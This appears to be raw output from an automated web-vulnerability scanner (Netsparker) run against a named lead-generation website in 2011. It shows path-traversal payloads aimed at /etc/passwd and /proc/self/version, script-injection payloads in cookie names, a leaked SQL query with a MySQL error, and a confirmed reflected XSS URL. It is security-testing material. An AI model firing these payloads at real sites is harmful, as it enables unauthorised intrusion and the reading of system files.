OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:22:42 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: PHPSESSID=nas9u8dk8gd7kbcol4ichotvc6; path=/
Content-Length: 3033
Connection: close
Content-Type: text/html; charset=UTF-8

select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_one_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/phsy00/?nsextt='"--></style></script><script>netsparker(0x00054C)</script>' OR prj.project_page_url = 'leadflow/phsy00/?nsextt='"--></style></script><script>netsparker(0x00054C)</script>/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_two_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/phsy00/?nsextt='"--></style></script><script>netsparker(0x00054C)</script>' OR prj.project_page_url = 'leadflow/phsy00/?nsextt='"--></style></script><script>netsparker(0x00054C)</script>/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_dynamic_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/phsy00/?nsextt='"--></style></script><script>netsparker(0x00054C)</script>' OR prj.project_page_url = 'leadflow/phsy00/?nsextt='"--></style></script><script>netsparker(0x00054C)</script>/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_video_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/phsy00/?nsextt='"--></style></script><script>netsparker(0x00054C)</script>' OR prj.project_page_url = 'leadflow/phsy00/?nsextt='"--></style></script><script>netsparker(0x00054C)</script>/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_mobile_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/phsy00/?nsextt='"--></style></script><script>netsparker(0x00054C)</script>' OR prj.project_page_url = 'leadflow/phsy00/?nsextt='"--></style></script><script>netsparker(0x00054C)</script>/'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '></style></script><script>netsparker(0x00054C)</script>/' union select prj.catI' at line 5

- /ppc/leadflow/wede00/

/ppc/leadflow/wede00/ CONFIRMED

http://www.insideup.com/ppc/leadflow/wede00/?'"--></style></script><script>alert(0x000557)</script>

Parameters

Parameter	Type	Value
Query Based	QUERYSTRING	'"--></style></script><script>alert(0x000557)</script>